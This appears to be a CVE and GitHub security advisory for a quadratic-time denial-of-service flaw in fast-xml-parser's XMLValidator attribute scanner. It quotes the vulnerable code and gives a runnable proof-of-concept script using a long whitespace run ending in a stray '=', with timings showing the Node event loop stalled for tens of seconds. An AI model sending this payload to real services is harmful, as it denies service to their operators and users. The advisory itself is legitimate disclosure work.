CVE-2026-141469
JSON

5.3medium

fast-xml-parser: quadratic-time (ReDoS-class) denial of service in XMLValidator attribute scanner, default options

Severity
5.3medium CVSS:3.1 by GitHub_M
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-7cfw-w2rf-f3jc

Description

fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.12.1, scanAttributeTokens in src/validator.js resets its cursor to one position after the token start when a leading-whitespace run ends in a stray equals sign. Each loop iteration rescans most of the remaining whitespace, producing quadratic processing time for attacker-controlled XML. The default path is reachable through XMLValidator.validate(xml) and through new XMLParser().parse(xml, true) when validation is enabled, allowing a document of a few hundred kilobytes to block the Node.js event loop for tens of seconds and deny service. This issue affects availability only. This issue is fixed in version 5.12.1.

Affected

Product or packageVersionsReported by
NaturalIntelligence fast-xml-parser< 5.12.1CVE List
fast-xml-parser (npm)before 5.12.1GitHub Advisory Database

All scores

GitHub_M5.3medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
GitHub5.3medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Classification

CWE-400CWE-1333

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.12.1, scanAttributeTokens in src/validator.js resets its cursor to one position after the token start when a leading-whitespace run ends in a stray equals sign. Each loop iteration rescans most of the remaining whitespace, producing quadratic processing time for attacker-controlled XML. The default path is reachable through XMLValidator.validate(xml) and through new XMLParser().parse(xml, true) when validation is enabled, allowing a document of a few hundred kilobytes to block the Node.js event loop for tens of seconds and deny service. This issue affects availability only. This issue is fixed in version 5.12.1.

GitHub Advisory Database
Summary

Reported by Nikhil Agrawal, Mettle Labs; reproduced only against a clean local install of fast-xml-parser@5.11.2 on their own machine. scanAttributeTokens in src/validator.js rescans a leading-whitespace run on every loop iteration when it hits a stray =, giving Theta(n^2) time. A few-hundred-KB input stalls the event loop for tens of seconds. Reachable on the default path via both XMLValidator.validate(xml) and new XMLParser().parse(xml, true), no non-default options.

Details

src/validator.js, scanAttributeTokens — on a = with no attribute name before it, i is reset to one past the token start, not past the =, so the leading-whitespace scan repeats:

function scanAttributeTokens(attrStr) {
  const tokens = [];
  const len = attrStr.length;
  let i = 0;
  while (i < len) {
    const tokenStart = i;
    // Leading whitespace before the name.
    while (i < len && isWhiteSpace(attrStr[i])) i++;
    if (i >= len) break;
    if (attrStr[i] === '=') {
      // No name before this '=' — not a valid attribute start.
      i = tokenStart + 1;      // <-- rewinds to tokenStart+1, NOT past the '=' -> re-scans the whitespace
      continue;
    }
    ...

For an attribute string of the shape <whitespace run> =, each outer iteration advances tokenStart by one but re-walks the entire remaining whitespace run up to the =, so total work is quadratic in the run length. It is reached whenever an element's attribute section is scanned, which both XMLValidator.validate() and XMLParser.parse(xml, true) (validation enabled) do on the default path. (This scanner is a recent regex -> hand-scanner rewrite; the quadratic rescan is in the rewrite.)

Proof of concept

A few-hundred-KB document hangs the validator. Runnable against a clean npm i fast-xml-parser@5.11.2 (Node >= 18):

// poc-fxp-quadratic.mjs
import { XMLValidator, XMLParser } from "fast-xml-parser";

for (const n of [20000, 40000, 80000, 160000]) {
  const xml = "<a " + " ".repeat(n) + "=>";          // <element><whitespace run>=  -> stray '='
  const t0 = process.hrtime.bigint();
  XMLValidator.validate(xml);                          // path 1: validate()
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(`validate   n=${n}  ${ms.toFixed(0)} ms`);
}

// path 2: XMLParser.parse(xml, true) hits the same scanner
const big = "<a " + " ".repeat(200000) + "=>";
const t0 = process.hrtime.bigint();
try { new XMLParser().parse(big, true); } catch (_) {}
console.log(`parse(.,true) n=200000  ${(Number(process.hrtime.bigint() - t0) / 1e6).toFixed(0)} ms`);

Measured on fast-xml-parser@5.11.2 (unpatched): n=20k -> 461 ms, 40k -> 1755 ms, 80k -> 7108 ms, 160k -> 29847 ms (~4x per 2x length = quadratic); 200k -> ~45 s. A ~200 KB request stalls the event loop ~45 s.

Impact

A single few-hundred-KB document sent to any service that validates or parses (with validation) attacker-controlled XML via fast xml-parser stalls the Node event loop for tens of seconds — a remote denial of service on the most-installed XML parser for Node, on the default code path.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-141469 changed 2026-12-01CVE Terms of Use
GitHub Advisory DatabaseGHSA-7cfw-w2rf-f3jc changed 2026-12-01CC-BY-4.0